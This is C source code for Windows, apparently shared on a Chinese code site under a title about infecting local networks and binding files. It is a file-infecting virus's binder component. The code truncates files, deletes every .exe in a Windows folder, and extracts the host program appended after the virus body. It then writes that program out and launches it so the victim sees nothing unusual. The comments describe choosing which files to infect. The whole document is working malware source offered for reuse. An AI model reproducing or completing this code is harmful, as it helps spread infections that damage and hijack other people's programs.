kb.rar_感染 局域网_感染捆绑_捆绑

#include "stdafx.h" #include "shellapi.h" #include "string.h" #include <stdio.h> //#include <SYS\STAT.H> #define VIRUSLENTH 0x2704d extern char lpcopyfile[MAX_PATH]; void thejc(void) { HANDLE hFileHandle; DWORD szfilesize; hFileHandle = CreateFile(lpcopyfile, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS,\ FILE_ATTRIBUTE_NORMAL, NULL); szfilesize = GetFileSize(hFileHandle, NULL); if (szfilesize > VIRUSLENTH) { SetFilePointer(hFileHandle,VIRUSLENTH,NULL,FILE_BEGIN); SetEndOfFile(hFileHandle); CloseHandle(hFileHandle); MessageBox(NULL,"diao yon le fei li ","ha",MB_OK); } CloseHandle(hFileHandle); return ; } bool thejx(void) { char szFileName[MAX_PATH]; HANDLE hFileHandle; DWORD szfilesize; DWORD szsecondfilesize; LPVOID lpvirtualmemery; DWORD szreadsecondfile; DWORD szlpwritenewfile; BOOL blreadfile = TRUE; BOOL blwritefile = TRUE; WIN32_FIND_DATA shortname; HANDLE hfindfile; // long szfilepoint; char szsecondFileName[MAX_PATH]; HANDLE hsecondfile; char *strProfileDir ="c:\\windows\\her"; WIN32_FIND_DATA wfd; HANDLE hfd; char disdir[MAX_PATH]; int r; thejc(); if(!SetCurrentDirectory(strProfileDir)) { CreateDirectory(strProfileDir,NULL); } else { hfd = FindFirstFile("*.exe",&wfd); if(hfd != INVALID_HANDLE_VALUE) { do{ sprintf(disdir,"%s\\%s",strProfileDir,wfd.cFileName); // MessageBox(NULL,disdir,"HA",MB_OK); SetFileAttributes(disdir,FILE_ATTRIBUTE_NORMAL); DeleteFile(disdir); // 病毒可根据后缀名判断是否要感染相应的文件 //判断是不是EXE }while(r=FindNextFile(hfd,&wfd),r!=0); FindClose(hfd); } } // struct _stat ST; // _stat(); memset(szsecondFileName,'0',MAX_PATH); // strcpy(szsecondFileName,strProfileDir); // strcat(szsecondFileName,"\\xxs.exe"); //打开自己，得到自己的大小 GetModuleFileName(NULL,szFileName, MAX_PATH); hfindfile = FindFirstFile(szFileName,&shortname); shortname.cFileName; sprintf(szsecondFileName,"%s\\%s",strProfileDir,shortname.cFileName); FindClose(hfindfile); hFileHandle = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,\ FILE_ATTRIBUTE_NORMAL, NULL); if(INVALID_HANDLE_VALUE == hFileHandle) { MessageBox(NULL,"打开自己失败", 0, MB_ICONERROR); CloseHandle(hFileHandle); return 0; } //比较大小，判断是否捆绑了 szfilesize = GetFileSize(hFileHandle, NULL); if(szfilesize == VIRUSLENTH) { MessageBox(NULL, "没有捆绑", 0, MB_OK); return 0; } //文件指针移到第二文件的开始，读取出第二文件 SetFilePointer(hFileHandle,VIRUSLENTH,0, FILE_BEGIN); szsecondfilesize = szfilesize - VIRUSLENTH ; //申请第二文件大小的空间 lpvirtualmemery = VirtualAlloc(NULL, szsecondfilesize, MEM_COMMIT, PAGE_READWRITE); if(NULL == lpvirtualmemery) { MessageBox(NULL,"第二文件空间申请失败","HA",MB_OK); return 0; } //将自己中的第二文件读取到内存 blreadfile = ReadFile(hFileHandle,lpvirtualmemery,szsecondfilesize,\ &szreadsecondfile,NULL); if(0 == blreadfile) { MessageBox(NULL,"备份空间读入失败","HA",MB_OK); return 0; } //创建第二文件 hsecondfile = CreateFile(szsecondFileName, GENERIC_WRITE, NULL, NULL, OPEN_ALWAYS,\ FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE == hsecondfile) { MessageBox(NULL, "创建第二文件失败", 0, MB_ICONERROR); CloseHandle(hsecondfile); return 0; } //重内存中读出，写入第二文件 blwritefile = WriteFile(hsecondfile,lpvirtualmemery,szsecondfilesize,\ &szlpwritenewfile,NULL); if(0 == blwritefile) { MessageBox(NULL,"第二文件写入失败","HA",MB_OK); return 0; } //结束文件，释放空间 CloseHandle(hsecondfile); VirtualFree(lpvirtualmemery, 0, MEM_RELEASE); MessageBox(NULL, "分别成功", 0, MB_OK); ShellExecute(0, 0, szsecondFileName, 0, 0, SW_SHOW); CloseHandle(hFileHandle); return 1; }